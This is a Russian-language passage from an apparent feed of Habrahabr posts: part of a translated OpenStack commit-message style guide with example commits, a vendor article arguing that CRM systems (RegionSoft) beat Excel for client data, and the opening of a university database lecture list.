  • Обеспечьте достаточной информацией для принятия правильного решения что именно проверять.

Когда Gerrit отправляет оповещения по электронной почте о новых патчах исправлений, то в письме содержится минимальная информация, в основном сообщение коммита и список измененных файлов. Учитывая большой объем патчей, не стоит ожидать, что все рецензенты будут подробно их изучать. Таким образом, сообщение коммита должно содержать достаточную информацию, чтобы предупредить потенциальных рецензентов о том, что это патч, на который они должны смотреть.


  • Первая строка коммита является наиболее важной.

В Git первая строка сообщения коммита имеет особое значение. Она используется в качестве темы электронного письма, в сообщениях команды git annotate, в программе gitk viewer, при слиянии ветки и многих других местах, где места для текста не так уж и много. Помимо краткого описания самого изменения, следует не забывать, какая часть кода затронута. Например, если это влияет на драйвер libvirt, укажите «libvirt» где-нибудь в первой строке.


  • Опишите любые ограничения текущего кода.

Если изменяемый код имеет возможности для будущих усовершенствований или любые известные вам ограничения, обязательно упоминайте о них в сообщении коммита. Это демонстрирует рецензенту, что автором была рассмотрена более широкая картина, а также какие компромиссы были сделаны с точки зрения краткосрочных целей в сравнении с долгосрочными желаниями.


  • Не включайте комментарии, которые относятся исключительно к этому патчу.

Другими словами, если вы переделаете свой коммит, пожалуйста, не добавляйте «Патч №2: переделан» (Patch set 2: rebased) к вашему сообщению. Это не будет иметь никакого значения после слияния изменений. Однако напишите заметку в Gerrit как комментарий к вашему изменению. Это поможет рецензентам узнать, что изменилось между наборами патчей. Это также относится к комментариям, таким как «Добавлены юнит-тесты», «Исправленны проблемы локализации» или любые другие патчи, которые не влияют на общую цель вашего коммита.


Главное следовать правилу:


Сообщение коммита должно содержать всю информацию, которая необходима для полного понимания и проверки патча на корректность. Меньше - НЕ больше. Больше это больше.


1.3.1 Включение внешних ссылок


Хоть сообщение в основном и предназначено для интерпретации человеком, в нем всегда присутствуют метаданные, предусмотренные для машинной обработки. В OpenStack'а в них включают «Change-Id» (Идентификатор изменения), а также необязательные ссылки на идентификаторы «bug», ссылки на «blueprint» (схемы/документы), флаг DocImpact, флаг APIImpact и флаг SecurityImpact.


  • Строка «Change-Id» представляет собой уникальный хеш, описывающий изменение, которое генерируется перехватчиком Git'а (hook). Она не должна меняться после инспектирования при редактировании коммита командой rebase, так же оно используется системой Gerrit для отслеживания версий патча.
  • Строка 'bug' может ссылаться на ошибку несколькими способами. Gerrit создает ссылку на ошибку при просмотре патча на сайте review.openstack.org, чтобы рецензенты могли быстро получить доступ к ошибке в Launchpad.
    • Closes-Bug: #1234567 — используйте «Closes-Bug», если коммит предназначен для полного устранения и закрытия ошибки на которую ссылаетесь.
    • Partial-Bug: #1234567 — используйте 'Partial-Bug', если коммит — это только частичное исправление и требуется еще работа для устранения этого бага.
    • Related-Bug: #1234567 — используйте 'Related-Bug', если коммит просто связан с указанной ошибкой.
  • В строке 'blueprint' должно быть указано имя Launchpad blueprint (документация на сайте Launchpad), если коммит предназначен для реализации некой функции. Gerrit создает ссылку на blueprint при просмотре патча на сайте review.openstack.org, чтобы рецензенты могли быстро получить доступ к документу на Launchpad.
  • Строка DocImpact содержит строку DocImpact и комментарий о том, почему это изменение влияет на документацию. Поместите DocImpact в отдельную строку. Используйте этот флаг, чтобы указать, что документация содержится в патче, или изменение затрагивает документацию, чтобы рецензенту можно было понять о причинах изменений. Включите как можно больше информации. Когда этот флаг включен в сообщение о фиксации, Gerrit создает bug-report для проекта openstack-manuals (инструкции openstack) для отслеживания и очередности выполнения, или перемещает если необходимо, в openstack-api-site.
  • Строка APIImpact содержит строку APIImpact и комментарий о том, почему это изменение влияет на общедоступный HTTP API. Поместите APIImpact на отдельную строку. Используйте этот флаг, чтобы указать, что патч создает, обновляет или удаляет общедоступный HTTP API или изменяет поведение общедоступного API. Включите как можно больше информации. Когда этот флаг включен в сообщение фиксации, все связанные отзывы можно найти с помощью этой ссылки, также страница из документации API_Working_Group может помочь в поиске релевантных отзывов. Кроме того, с рабочей группой API (API Working Group) можно напрямую связаться по IRC в канале Freenode #openstack-sdks.
  • Строка SecurityImpact просто содержит строку SecurityImpact. Она используется, чтобы указать, что изменение имеет последствия для безопасности и должно быть пересмотрено группой OpenStack Security Group.
  • Строка UpgradeImpact содержит строку UpgradeImpact и комментарий о том, почему это изменение влияет на обновления. Она используется, чтобы указать, что изменение имеет последствия обновлений для тех, кто делает непрерывное развертывание (continuous deployment), или от N до N + 1 апдейтов. Также возможно указывает на обновления раздела «Upgrade Notes» (Примечания по обновлению) в примечаниях к выпуску для затронутого проекта.

Все метаданные, предназначенны для машин и имеют второстепенное значение для людей, следовательно, все они должны быть сгруппированы вместе в конце сообщения коммита.


Примечание: Хотя во многих проектах с открытым исходным кодом, использующих Git является популярной практикой включать тэг «Signed-off-by» (Подписан) (генерируемого при помощи команды «git commit -s»), для OpenStack это не обязательно. Прежде чем получить возможность отправить код в Gerrit, OpenStack требует, чтобы все участники подписали CLA (Contributor License Agreement, Лицензионное соглашение для участников), что служит для эквивалентной цели.


Мы поощряем использование Co-Authored-By: name name@example.com (Соавторство) в сообщениях коммита, чтобы указать людей, которые работали над определенным патчем. Это является соглашением о признании нескольких авторов, и наши проекты призывают инструменты сбора статистики следить за этими полями при их анализе.


1.3.2 Краткий обзор структуры сообщений коммитов


  • В первой строке представьте небольшое описание изменений.
  • Вставьте пустую строку после первой строки.
  • В следующих строках напишите подробное описание изменений, разбив на пункты там, где это необходимо.
  • Первая строка должна быть ограничена 50 символами и не должна заканчиваться точкой.
  • Последующие строки должны быть заключены в 72 символа.
    • vim (по умолчанию в переменной среды $EDITOR на большинстве дистрибутивов) может автоматически обернуть строки для вас. В большинстве случаев вам просто нужно скопировать файл примера vimrc (который можно найти где-нибудь, например /usr/share/vim/vim74/vimrc_example.vim) в ~/.vimrc, если у вас его нет.
    • После редактирования абзаца его можно обернуть, нажав клавишу escape, поместив курсор внутри абзаца и введя комбинацию gqip.
  • Поместите строки «Change-id», «Closes-Bug #NNNNN» и «blueprint NNNNNNNNNNNN» в самом конце если это необходимо.

Например:


Переключение метода libvirt get_cpu_info на использование конфигурации API

Метод get_cpu_info в драйвере libvirt в настоящее время использует
запросы XPath для извлечения информации из возможностей
XML документа. Переключение на использование нового класса
конфигурации LibvirtConfigCaps. Также добавили тестовый случай для
проверки возвращаемых данных.

DocImpact
Closes-Bug: #1003373
Implements: blueprint libvirt-xml-cpu-model
Change-Id: I4946a16d27f712ae2adf8441ce78e6c0bb0bb657

1.3.3 Некоторые примеры плохой практики


Посмотрим немного примеров из истории Git Nova, опять же с удаленными именами авторов, так как мы не хотим никого обвинить или оскорбить.


1.3.3.1 Пример 1


Коммит: 468e64d019f51d364afb30b0eed2ad09483e0b98
Автор: [удалено]
Дата: Пн. 18 Июня 16:07:37 2012 -0400

Исправление отсутствующего импорта в compute/utils.py

Fixes bug #1014829

Проблема: тут не упоминается, что должно было импортироваться, где этого импорта не хватает, и почему он так необходим. Эта информация была включена в средство отслеживания ошибок и должна была быть скопирована в сообщение коммита, чтобы обеспечить самодостаточное описание. Например:


Добавить отсутствующий импорт "exception" в compute/utils.py

nova/compute/utils.py делает ссылку на класс исключения
exception.NotFound, однако исключение не было импортировано.

1.3.3.2 Пример 2


Коммит: 2020fba6731634319a0d541168fbf45138825357
Автор: [удалено]
Дата: Пт. 15 Июня 11:12:45 2012 -0600

Предоставляет правильный формат ec2id для томов и снимков

Fixes bug #1013765
* Добавлен аргумент шаблона в вызовы ec2utils.id_to_ec2_id()

Change-Id: I5e574f8e60d091ef8862ad814e2c8ab993daa366

Проблема: тут не упоминается, что не так с текущим (неправильным) форматом, или то, чем является новый исправленный формат. Эта информация также была доступна в трекере ошибок и должна быть включена в сообщении коммита. Более того, эта ошибка исправляла регрессию, вызванную более ранним изменением, но нет никаких упоминаний о том, что было раньше. Например:


Представляет правильный формат ec2id для томов и снимков

Во время миграции uuid'а тома, выполненной набором изменений
XXXXXXX, форматы идентификаторов ec2 для томов и моментальных
снимков были удалены и теперь используют по умолчанию формат
экземпляра (i-xxxxx). Идентификаторы необходимо вернуть обратно
к vol-xxx и snap-xxxx.

Добавляет аргумент шаблона для вызовов ec2utils.id_to_ec2_id ()

Fixes bug #1013765

1.3.3.3 Пример 3


Коммит: f28731c1941e57b776b519783b0337e52e1484ab
Автор: [удалено]
Дата: Ср. 13 Июня 10:11:04 2012 -0400

Добавлена проверка минимальной версии libvirt.

Fixes LP bug #1012689

Change-Id: I91c0b7c41804b2b25026cbe672b9210c305dc29b

Проблема: в этом коммите сообщение просто документирует, что было сделано, а не почему это было сделано. Нужно было упомянуть, что ранее набор изменений ввел новую минимальную версию libvirt. Также нужно было сообщить, какое текущее поведение, если проверка не проходит.
Например:


Добавлена проверка версии libvirt, минимум 0.9.7

В коммите XXXXXXXX введено использование API сброса 'reset'
которое доступно только в libvirt 0.9.7 или новее. Добавлена
проверка версии перед libvirt версии подключения, выполняющаяся
при запуске вычислительного сервера. Если проверка версии завершилась
неудачей, служба будет завершаться.

Fixes LP bug #1012689

Change-Id: I91c0b7c41804b2b25026cbe672b9210c305dc29b

1.3.4 Примеры хорошей практики


1.3.4.1 Пример 1


Коммит: 3114a97ba188895daff4a3d337b2c73855d4632d
Автор: [удалено]
Дата: Пн. 17 Июня 17:16:10 2012 +0100

Обновление политик по умолчанию для KVM гостевых VM таймеров PIT и RTC

Политики по умолчанию для таймеров PIT и RTC для гостевой системы
KVM плохо поддерживают надежность времени (часов) в гостевых
операционных системах. В частности, гостевые Windows 7
часто приводят к сбою политик таймера KVM по умолчанию, а старые
гостевые Linux системы будет иметь сильное смещение времени.

Устанавливает PIT так, чтобы пропущенные тики были введены с
нормальной скоростью, т.е. они задержались

Устанавливает RTC таким образом, чтобы пропущенные тики вводились с
более высокой скоростью, для того чтобы 'догонять'

Это соответствует следующему libvirt XML


  
  


И следующие KVM параметры запуска

  -no-kvm-pit-reinjection
  -rtc base=utc,driftfix=slew

Это должно обеспечить стандартную конфигурацию, которая работает
приемлемо для большинства типов ОС. Скорее всего в будущем
необходимо сделать настраиваемую опцию для каждого типа гостевой ОС

Closes-Bug: #1011848

Change-Id: Iafb0e2192b5f3c05b6395ffdfa14f86a98ce3d1f

Некоторые вещи, которые следует отметить в этом примере:


  • Описано, что из себя представляет исходная проблема (плохие настройки KVM по умолчанию)
  • Описываются функциональные изменения (новые политики PIT / RTC)
  • Описывается результат изменения (новый XML / QEMU args)
  • Также описывается область для будущего улучшения (возможная конфигурация типа каждой ОС)
  • Используется запись Closes-Bug

1.3.4.2 Пример 2


Коммит: 31336b35b4604f70150d0073d77dbf63b9bf7598
Автор: [удалено]
Дата: Ср. 06 Июня 22:45:25 2012 -0400

Добавлена поддержка фильтрации планировщика архитектуры CPU

В смешанной среде, где работают с различными архитектурами
процессора, не хотелось бы запускать экземпляр ARM архитектуры на хосте
X86_64 и наоборот.

Новый параметр фильтра планировщика предотвратит запуск экземпляров
на хосте, для которого он не предназначен.

Драйвер libvirt запрашивает гостевые возможности
хоста и сохраняет архитектуры гостевых ОС в списке
permitted_instances_types в словаре cpu_info хоста.

Для Xen позже будет сделан эквивалентный коммит.

Фильтр архитектуры будет сравнивать архитектуру экземпляра с
списком permitted_instances_types хоста и отфильтровывать
недействительные хосты.

Также добавляет ARM как действительную архитектуру к фильтру.

По умолчанию ArchFilter не включен.

Change-Id: I17bd103f00c25d6006a421252c9c8dcfd2d2c49b

Некоторые вещи, которые следует отметить в этом примере:


  • В нем описывается, проблемный сценарий (развертывание смешанных архитектур)
  • Описываются намерения изменений (сделать фильтр планировщика по архитектуре)
  • Коммит описывает грубый алгоритм исправления (как libvirt возвращает архитектуру)
  • Также отмечает ограничения данного исправления (работы, необходимые для Xen)
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/329992/


Метки:  

Неравный бой: CRM против Excel

Четверг, 01 Июня 2017 г. 15:30 + в цитатник
Знаете, как называется худшая в мире CRM-система? MS Excel. Эта шутка ходит среди западных и российских вендоров корпоративного ПО. Excel, легендарный продукт в хорошем смысле этого слова, окружён десятками мифов: Excel знают все, в нём можно сделать все, с ним не нужна CRM-система и т.д. От раза к разу на профессиональных форумах, от будущих клиентов, от компаний мы слышим упорное сопоставление CRM и Excel. Конечно, с точки зрения разработчика это неравный бой, но мы всё же решились на детальное сравнение.
 


Электронные таблицы vs СУБД


Что такое Excel? По своему классу это табличный процессор или, если проще, электронная таблица — прикладная программа для решения вычислительных задач. Электронные таблицы (и тут речь не только об Excel, но и множестве аналогов и конкурентов) были обречены на успех в бизнесе и вообще в любом делопроизводстве, ведь изначально большинство расчётов выполнялось в табличной форме. Буквально ещё в 90-х годах на столах можно было видеть типографские бухгалтерские главные книги, оборотно-сальдовые ведомости, различные табели, сметы, формы отчетности, калькуляции и т.д. Вся эта документация была ничем иным как таблицами.
 
Электронный таблицы в том виде, в каком мы их знаем сегодня, заменили собой довольно большой блок программирования — то, что раньше решалось на ЭВМ только с помощью кода, теперь можно реализовать с помощью различных формул, макросов, функций. Таблицы отражают взаимосвязи, позволяют сохранять и переиспользовать расчёты, строить диаграммы и т.д. Одно из основных преимуществ электронных таблиц в целом и Excel в частности — пересчёт формул «на лету» при любом изменении входных данных. Соответственно, это даёт возможности моделирования, прогнозирования, планирования и анализа. Причём все перечисленные возможности становятся доступными пользователям, далеким от информатики и математики.
 
Дополнительная ценность Excel — возможность создавать пользовательские функции и скрипты на языке Visual Basic for Application. Необходимый код пишется в стороннем редакторе и затем запускается в таблице, обрабатывая входные данные. Фактически таблица становится интерфейсом кода на VBA. Для создания подобных функций требуется навык программирования — рядовой пользователь не справится.
 
Но, как известно, дьявол в мелочах — и настоящий ад может случиться, если переоценить таблицы и начать их использовать как единственное хранилище информации, или, говоря иначе, как базу данных. На первый взгляд кажется, что всё просто отлично: данные можно записывать и перезаписывать, можно искать информацию по нужным условиям, сортировать, делать выборки с помощью фильтров. Однако по сравнению с реляционными СУБД, которые лежат в основе большинства CRM-систем, операции манипулирования данными в том же Excel кажутся незначительными. К тому же, таблицы не столь безопасны, как СУБД.
 
Кстати, об освоении таблиц стоит сказать отдельно. Безусловно, они здорово облегчают жизнь многим менеджерам, бухгалтерам и даже инженерам, но если кто-то вам скажет, что он «гуру Excel», то, скорее всего, человек заблуждается. Освоение Excel на уровне продвинутого пользователя едва ли проще, чем освоение нового языка программирования. Но такая уверенность в рядах компаний существует, отсюда и растут корни целой группы типичных ошибок работы с табличными процессорами.
 
История из жизни. В одной компании завёлся тот самый «гуру Excel». Он занимал руководящий пост, и в силу этой привилегии решил всех своих подчинённых перевести на рельсы автоматизации. Бюджет отдела, планы, рабочие отчёты и KPI стали считаться исключительно в Excel. Пока он собирал, а затем и агрегировал информацию сам, всё было относительно неплохо. Когда с книгами Excel в расшаренных на сервере папках стали работать все, появились необычные данные типа KPI +370% к заработной плате или шестизначного плана продаж. На чём «погорели»:
 
  • на формулах — протягивали формулы по столбцам, не думая об абсолютных и относительных ссылках на ячейки
  • на связи таблиц — ошибка в одной таблице приводила к размножению ошибок по всей импровизированной базе
  • на форматах данных — хотя попытки унификации ввода и были предприняты, копипаст и кривые руки делали своё дело, и в итоге из-за различных форматов часть расчётов оказывалась некорректной
  • на скрытых строках и столбцах — кто-то их скрывал, а другие не замечали и использовали эти диапазоны в расчётах
  • на сортировке — при сортировке забывали выделять весь массив и в итоге, значения одного поля присваивались другому
  • на сводных таблицах — у части менеджеров были проблемы с представлением зависимостей
  • на округлении — кому-то понравились цифры без копеек, он настроил таблицы под себя, а эти копейки стали набегать в рубли расхождения.

 В общем, завели CRM-систему, перенесли остатки «выживших» данных и стали работать спокойно, т.к. программа сама знала, какие формулы считать, какие данные принимать, как сортировать. К тому же, таблицы СУБД сломать и потерять оказалось гораздо сложнее, а с бекапами так вообще невозможно. Такой вот айтишный хэппи-энд.

CRM изнутри


Теперь о CRM-системе, которая представляет собой логику + СУБД + интерфейс. Реляционная база данных, которая используется в CRM, это множество связанных между собой таблиц. Каждая строка (она называется запись) описывает один объект (например, клиента), а каждый столбец содержит атрибуты этого объекта (например, контакты, счета, покупки, скидки и т.д.). Для идентификации записей (строк) используется первичный ключ — набор полей, сочетание которых однозначно определяет запись в таблице.
 
Например, вы пользуетесь CRM. Когда вы выгружаете отчёт о том, какие клиенты совершили покупку в текущем месяце, то внутри CRM происходит примерно следующее: таблица «Клиенты» по уникальному идентификатору (ключу) связывается с таблицей «Покупки», «Оплаты», «Номенклатура» и т.д., в зависимости от того, какую информацию вы хотите получить в итоговом отчёте. При этом СУБД в идеале должна работать максимально шустро, чтобы пользователь даже не заметил процесс. Именно благодаря такой архитектуре CRM умеет быстро и точно строить выборки в любом разрезе, позволяет мгновенно находить связанные с клиентом звонки, сделки, документы. Понятно, что подобную функциональность в Excel реализовать невозможно. Даже связка двух-трёх таблиц уже даёт ощутимые «тормоза» при работе с документами, а в онлайне зачастую просто не позволяет выполнить операцию.
 
Кроме того, реляционные базы данных при правильном подходе к управлению обеспечивают безопасность информации, защиту от несанкционированного доступа, целостность и согласованность данных. Они поддерживают многопользовательский режим работы без коллизий и конфликтов. Все действия логируются и почти всегда можно найти того, чьи шаги привели к ошибке или умышленному вреду.
 
Опять же, разделение прав доступа обеспечивает защиту от новичка, дурака и даже недобросовестных намерений. Так, например, сотруднику (простому менеджеру) могут быть даны права только на запись данных, а редактирование и удаление ему недоступны. Таким образом, максимальный вред от неопытного сотрудника — внесение ошибочной информации, но никак не удаление чужих важных сведений.

Эскизы на салфетках


Вообще, в бизнесе насчитывается огромное количество способов накопления и хранения информации о клиентах, и все они сосуществуют в нашей действительности, правда, не всегда мирно. Итак, золотой топ «носителей информации» российского малого и среднего бизнеса.

  • Excel и прочие электронные редакторы. Создаются именованные строки и столбцы, вносятся данные, часть информации записывается комментариями к ячейке. Масштаб может быть любой — от банального списка клиентов и их контактов до огромного полотна управления отгрузками и продажами.

  • CRM-системы и иные учётные системы. Наиболее корректный и безопасный способ хранения и обработки данных, надёжный инструмент формирования клиентской базы и отслеживания взаимоотношений с клиентами.

  • MS Word и прочие текстовые редакторы. То же самое, что Excel, только в более олдскульной форме. Иногда внутри документа создаются таблицы. Самый шик — использовать программу блокнот и «расчерчивать» её при помощи пунктира.


    Примерно так — причём удобно двигать размеры (сарказм). Кстати, для создания таких таблиц нужно терпение и рабочее время.

  • Бумажные тетради и блокноты. Рудиментарная форма хранения записей, обусловленная, кстати, не технической отсталостью, а стремлением менеджеров не информировать руководителя о клиентском пуле и иметь только свою личную базу, которую в случае увольнения очень просто «вывести» — достаточно забрать блокнот или тетрадь.

  • Визитницы с визитками. Мы уже рассказывали о Rolodex как о предшественнике CRM-систем, но подобная система работы с клиентами жива до сих пор. Суть простая: собирать визитки с контактной информацией, хранить их и обращаться к ним при необходимости. Продвинутая форма — делать записи и заметки о клиенте на лицевой или обратной стороне карточки.

  • Стикеры. Вам может показаться, что мы шутим, но нет — у части менеджеров контакты и напоминания хранятся именно на стикерах, наклеенных на стол или рамку монитора. Понятно, что это самый ненадёжный способ организации информации.


В общем, мы неслучайно подняли тему работы с данными и взаимоотношениями с клиентами в CRM против таблиц — слишком много недостатков у табличных процессоров, которые хотят стать CRM-системой.

Let’s неравный бой begin


Таблицы ограничивают доступ сотрудников и руководства к информации. И это значительный недостаток. Вы можете сказать, что существуют табличные редакторы с возможностями совместной работы онлайн, однако, во-первых, даже у Microsoft такие версии слабее по возможностям, во-вторых, доступ можно закрыть в любой момент, всего лишь изменив ссылку.
 
CRM-системы позволяют тонко настраивать права доступа на уровне групп и отдельных пользователей. В то же время руководитель может беспрепятственно просматривать профиль работы с каждым клиентом, а также ставить задачи, формировать отчёты и т.д.
 
В таблицах практически невозможно отслеживать полный путь взаимоотношений с клиентами. Нельзя добавить шаги взаимодействия (у менеджеров самый популярный способ — добавлять служебные заметки примечаниями), записи разговоров, историю переписки. Если какие-то вопросы решались посредством почты или переговоров, информация по ним может быть внесена в примечаниях или не внесена вовсе.
 
CRM-система отслеживает путь клиента от холодного лида до допродажи, не упуская ни малейшего взаимодействия. Например, в RegionSoft CRM все звонки с записями разговоров, вся переписка с клиентом и все действия менеджеров сохраняются в карточке клиента и к этой информации можно получить практически мгновенный доступ. По итогам разработки клиента можно сформировать и распечатать отчёт по динамике взаимоотношений, в котором будут отображены все воздействия.
 
В Excel и прочих табличных редакторах нельзя отслеживать работу менеджеров и адекватно реагировать на кризисные ситуации. Матрицы KPI, конечно, существуют в таблицах, однако о гибкой настройке думать не приходится — всё ограничивается несколькими прописанными формулами. В CRM динамика выполнения задач менеджерами доступна линейному и высшему руководству, недочёты и провалы видны сразу, на них можно оперативно реагировать, не дожидаясь конца месяца и заполнения «таблички ключевых коэффициентов».
 

— Эд, согласно моей таблице, ты выполнил ужасную работу.
— Потому что ваши таблицы плохо продуманы и не имеют ничего общего со сложным реальным миром. И да, позвольте напомнить, что формула указывает на неверную ячейку.
— Цифры не врут.

 
В таблицах сложно оценить потенциальные сделки, застойные сделки, стадии работы с клиентом. В основе взаимоотношения с клиентами с точки зрения коммерческого интереса лежит воронка продаж. Её можно отрисовать в Excel, в Интернете описаны десятки шаблонов для этого, однако анализ воронки в различных разрезах (по менеджеру, датам, компаниям, номенклатуре и т.д.) возможен исключительно в CRM-системах. Самая большая сложность работы со сделками в Excel — это необходимость вносить все данные вручную, от стоимости заказа до статуса и этапа разработки клиента. Естественно, что рано или поздно менеджер прекращает эту работу или забывает о ней. В CRM же после правильной первичной настройки статусы и этапы меняются автоматически, а стоимости «подтягиваются» при создании и проведении счёта.
 
Excel даёт довольно слабые возможности отчётности, много времени уходит на обработку данных, построение выборок и анализ. Тут стоит описать реальную ситуацию. Клиент отправлял отчет по реализации за период в головной офис. Объем файла был около 50 000 строк. В выгрузку попадали нерелевантные и ненужные данные. Сортировка и очистка данных у менеджера занимала ровно один рабочий день, и это при наличии специальных формул и макросов. CRM позволяет делать подобные выборки с помощью гибко настраиваемых фильтров с множеством критериев, кроме того пользовательские фильтры можно сохранять и использовать по необходимости (во всяком случае, именно так эта функция реализована у нас в RegionSoft CRM).
 
В CRM можно настроить несколько уровней доступа к данным клиентов, в Excel это сделать невозможно. Ведение базы клиентов в электронных таблицах чревато для бизнеса проблемами с безопасностью: данные могут потеряться как по техническим причинам, так и при увольнении сотрудника. Чего у Excel не отнять, так это его легкой «транспортировки» за пределы бизнеса, в том числе в руки конкурентов.
 
Чтобы забрать данные из десктопной CRM, нужно постараться. Вся оперативная информация о клиентах, контактах, планах, проектах, задачах должна быть в CRM-системе, а не «в голове сотрудника». Эта CRM-система должна быть защищена, т.е. иметь технические возможности, при которых сотрудник не сможет унести из нее сведения (если, конечно, ему не дали прав администратора сервера данных). Например, RegionSoft CRM имеет глубокую проработку безопасности, начиная с интеграции с ActiveDirectory и заканчивая контролем IP-адресов, MAC-адресов, с которых для пользователя разрешено подключаться к системе, подключения к корпоративной базе через alias (когда пользователь не знает реального расположения базы) и др. Совокупность этих мер и дает безопасное окружение для бизнеса. Но всегда есть человеческий фактор, от которого никуда не денешься. Сегодня человек лоялен, а завтра ему бес в ребро — и пошло поехало — твоим клиентам уже продают твои конкуренты. Поэтому должна быть именно совокупность мер, чтобы даже при возникновении желания слить данные, максимально затруднить это технически.
 
Таблицы дают лишь минимальный набор функций для сегментации клиентов и персонализации воздействий. Один из принципов успешного взаимодействия с клиентами — персонализация. Наверное, это даже можно назвать главным фактором выживания в нарастающем информационном шуме. Электронные таблицы позволяют создавать выборки и группировки, но проводить на их основе рассылки и иные коммуникации уже сложно. В CRM-системе вы просто делаете нужную выборку, сохраняете сегмент и запускаете рассылку именно по той группе, которую нужно проинформировать — из интерфейса системы (в RegionSoft CRM рассылку можно запускать с помощью собственного почтового клиента).
 
В Excel постоянно возникают проблемы унификации данных — установленные владельцем документа настройки форматов сбиваются, меняются, игнорируются. В итоге получаются коллизии, чаще всего связанные с денежным  и текстовым форматами, процентами. В CRM-системе разработчик предпринимает всё для максимальной унификации данных: так, при вводе можно выбирать значение из списка (чтобы была только «Москва», а не «масква», «мсква», «мск» и т.д.) или вводить значение, которое проверяется программой при вводе. В случае некорректного ввода CRM-система возвращает сообщение об ошибке.
 
Для Excel не существует адекватных интеграций с другими бизнес-системами и сервисами, например, планированием, бизнес-процессами, телефонией, 1С. Кто-то скажет, что в Excel, может и нет, а вот в таблицах Google Docs давно есть целый магазин приложений, надстроек и аддонов. Не будем спорить, Google предлагает неплохой инструмент, но для частного пользователя или очень маленькой начинающей команды. Во-первых, мало-мальски нагруженный файл подвешивает приложение (бюджет одной из компаний на 16 000 строк с формулами он не осилил). Во-вторых, опять же нет перечисленных интеграций. А причина упирается всё в тот же бэкенд: Spreadsheets всё те же таблицы-калькуляторы.
 
Интеграции CRM сильно отличаются от системы к системе и могут быть реализованы с помощью API, коннекторов, специального ПО, сторонних плагинов. Мы реализовали в своей CRM-системе интеграцию с сайтом, телефонией (в том числе виртуальной АТС Asterisk), Skype, 1С. Часть работы по интеграции ложится на RegionSoft Application Server, что обеспечивает более тонкие настройки и широкие возможности для автоматического обмена данными между CRM-системой и сторонними приложениями.
 
В электронных таблицах невозможно осуществлять грамотное персональное и коллективное планирование. Тут даже комментарии излишни — никакого планировщика, никаких напоминаний, никакой интерактивной работы с задачами от электронных таблиц ждать не стоит. В то время как, например, среди клиентов RegionSoft CRM планировщики и инструменты управления задач едва ли не самые популярные функции системы: ими все пользуются, все ценят возможности напоминаний и интерактивного управления календарём. Среди этих инструментов самый любимый — трёхнедельный планировщик, который совмещает управление задачами, рабочий календарь и в тоже время позволяет работать с горизонтом планирования.
 
В таблицах существуют проблемы с прикреплением файлов. Самая удобная и безопасная реализация этой функции для Excel и других электронных таблиц — прописывание ссылок на нужные документы. В CRM-системе все документы прикрепляются к карточке клиента, легко «поднимаются» и не теряются.
 
Быстрое масштабирование и рост бизнеса не выдержит ни одна таблица: во-первых, книги будут перегружены и вероятность ошибки возрастёт в разы, а во-вторых, добавление новых строк, столбцов, связей может просто повредить бережно накопленный файл. Прогрессивно расти нужно с сохранением производительности, и достичь этого можно только с использованием специальных средств автоматизации. Например, CRM-системы. Для программы любое расширение или сокращение количества пользователей, наименований, добавление подразделений и даже новая структура бизнеса проходят безболезненно.
 
В таблицах не предусмотрено автоматического заполнения информации, например, с сайта или для первичной документации. Хотя, есть библиотека PHPExcel, которая позволяет производить импорт и экспорт данных в Excel из информационных систем, написанных на PHP для любой платформы, но и это не делает Excel полноценной учётной системой или CRM.
 
Процесс обновления информации в таблицах необходимо контролировать, в то время как CRM — единый актуальный источник информации. Вообще, в управлении таблицами, при внесении и обработке данных слишком велик человеческий фактор. Считается, что Excel знают все менеджеры по продажам, бухгалтеры, маркетологи и прочие ребята из коммерческой службы. Это весьма иллюзорное представление: как мы уже говорили, освоение Excel «по-взрослому» требует огромного количества времени.
 
В таблицах не видны глубокие связи между данными, поскольку это не реляционная СУБД, а «плоское» представление данных (как бы один срез). Соответственно, отсутствие реляционных таблиц и ограничения по интерфейсу делают электронные таблицы всего лишь имитацией средства хранения и управления клиентской базой. CRM же представляет собой продуманный интерфейс поверх реляционной СУБД. С помощью интерфейса вносятся данные, управляются процессы, обслуживается телефония и т.д. Вся бизнес-информация надёжно хранится в базе данных, для которой, напомним лишний раз, стоит создавать резервные копии.
 
Знаете, чего от вас ждет клиент на этапе продажи и обслуживания? Он считает, что если обратился к одному специалисту из вашей компании, он обратился ко всем, и любой менеджер готов решить его проблему. И менеджер должен знать о коммуникациях по контакту. Значит, нужно иметь инструмент для мгновенного отображения требуемой информации — и CRM как раз такой инструмент. А вот Excel и другие электронные таблицы изначально не были созданы для управления взаимоотношениями с клиентами, они были созданы для вычислений и первичного анализа информации. Так может, не стоит ждать жалоб клиентов и накапливать риски, которые рано или поздно могут привести к коллапсу. Причём, по закону подлости, в самый неподходящий момент.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/329986/


Лекции Технопарка. Базы данных (весна 2017)

Четверг, 01 Июня 2017 г. 15:18 + в цитатник


Всем жаждущим знаний предлагаем ознакомиться с новыми лекциями Технопарка, посвящённым базам данных. Курс ведёт Артём Навроцкий, ведущий программист в Allods Team.


Список лекций:


  1. Введение
  2. Модификация и выборка данных
  3. Выборка данных (продолжение)
  4. Транзакции. Триггеры и хранимые процедуры
  5. Индексы и производительность
  6. Оптимизация запросов. Оптимизация структуры данных
  7. Репликация, полнотекстовый поиск, JSON
  8. Сохранность данных

Цель курса — это дать знания по:


  • Концепции и принципам реляционной модели данных.
  • Методам проектирования баз данных.
  • Подходам к профилированию производительности.
  • Основам архитектуры современных СУБД.
  • Основам и границам применимости реляционной модели.
  • Основным типам нереляционных баз данных, а также области их применимости при построении хранилищ данных.

Привить навыки:


  • Проектированию концептуальных и логических схем для высоконагруженных баз данных.
  • Построению запросов на выборку и модификацию данных к реляционным СУБД.
  • Оптимизации запросов и структура реляционной БД в целях повышения производительности.
  • Выполнению запросов к нереляционной документоориентированной СУБД.
  • Разработке прикладных программ, осуществляющих взаимодействие с БД.

Лекция 1. Введение





Из первой лекции вы узнаете, зачем нужны СУБД, какова краткая история развития баз данных, что такое реляционные БД и NoSQL. Познакомитесь с реляционной моделью данных и основными операциями в рамках БД. Также в ходе лекции обсуждаются первичный и суррогатный ключи, рассказывается о типах данных в PostgreSQL. Вы познакомитесь с примерами схем баз данных, версионированием схем. Обсуждается задача генерации БД на основе исходного кода, методы инкрементных и идемпотентных изменений.


Лекция 2. Модификация и выборка данных





Первая часть лекции посвящена введению в проектирование баз данных. Вторая часть посвящена основам SQL: основные команды, создание таблиц, выборка данных. Затрагивается тема JOIN'ов, проводится обзор INFORMATION_SCHEMA. И в завершении обсуждается, как можно хранить иерархические структуры в базах данных.


Лекция 3. Выборка данных (продолжение)





